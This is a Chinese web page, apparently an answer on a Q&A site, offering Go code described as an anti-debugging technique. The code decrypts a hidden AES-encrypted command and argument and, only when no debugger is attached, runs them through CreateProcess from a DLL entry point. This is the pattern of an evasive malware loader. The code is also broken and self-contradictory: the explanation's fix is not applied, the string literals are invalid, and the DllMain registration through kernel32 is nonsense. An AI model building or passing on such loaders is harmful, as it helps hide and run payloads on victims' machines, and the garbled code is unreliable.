Golang 反调试技术:解决 "windows.IsDebuggerPresent" 错误
在 Windows 系统上,调用 IsDebuggerPresent() 函数需要引入 golang.org/x/sys/windows 包,并且需要使用该包下的 IsDebuggerPresent() 函数。因此,在代码中需要将 windows.IsDebuggerPresent 修改为 IsDebuggerPresent。
修改后的完整代码如下:
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"golang.org/x/sys/windows"
"log"
"syscall"
"unsafe"
)
// 命令字符串和参数列表使用 AES 加密后的 Base64 编码字符串
const (
encryptedCmd = 'JL5n5ZRsA+zUc7+UJ6Ujy6w0f6A/2eU1sc5W/pZ0N5o='
encryptedArgs = 'Nk8a0KjOvOyS1gVf5mYiYQ=='
)
// 密钥和 IV
var (
key = []byte('01234567890123456789012345678901')
iv = []byte('0123456789012345')
)
func decryptString(encrypted string) string {
// 解码 Base64 编码字符串
encryptedBytes, err := base64.StdEncoding.DecodeString(encrypted)
if err != nil {
log.Fatal(err)
}
// 创建解密器
block, err := aes.NewCipher(key)
if err != nil {
log.Fatal(err)
}
stream := cipher.NewCTR(block, iv)
// 解密字符串
stream.XORKeyStream(encryptedBytes, encryptedBytes)
return string(encryptedBytes)
}
func createProcess() {
// 解密命令字符串和参数列表
cmd := decryptString(encryptedCmd)
args := []string{decryptString(encryptedArgs)}
// 创建子进程并执行命令
cmdLine := windows.StringToUTF16Ptr(fmt.Sprintf('%s %s', cmd, args[0]))
startupInfo := &windows.StartupInfo{}
processInformation := &windows.ProcessInformation{}
err := windows.CreateProcess(
nil,
cmdLine,
nil,
nil,
false,
0,
nil,
nil,
startupInfo,
processInformation,
)
if err != nil {
log.Fatal(err)
}
}
func DllMain() uintptr {
// 使用反调试技术
isDebuggerPresent := windows.IsDebuggerPresent()
if isDebuggerPresent {
return 0
}
// 创建子进程并执行命令
createProcess()
return 1
}
func main() {}
// 导出 DllMain 函数
var (
DllMainPtr = syscall.NewCallback(DllMain)
)
func init() {
// 将 DllMain 函数注册为 DLL 的入口点
handle, err := syscall.LoadLibrary('kernel32.dll')
if err != nil {
log.Fatal(err)
}
defer syscall.FreeLibrary(handle)
proc, err := syscall.GetProcAddress(handle, 'DllMain')
if err != nil {
log.Fatal(err)
}
syscall.Syscall(proc, 0, 0, 1, uintptr(unsafe.Pointer(&DllMainPtr)))
}
原文地址: https://www.cveoy.top/t/topic/lMTy 著作权归作者所有。请勿转载和采集!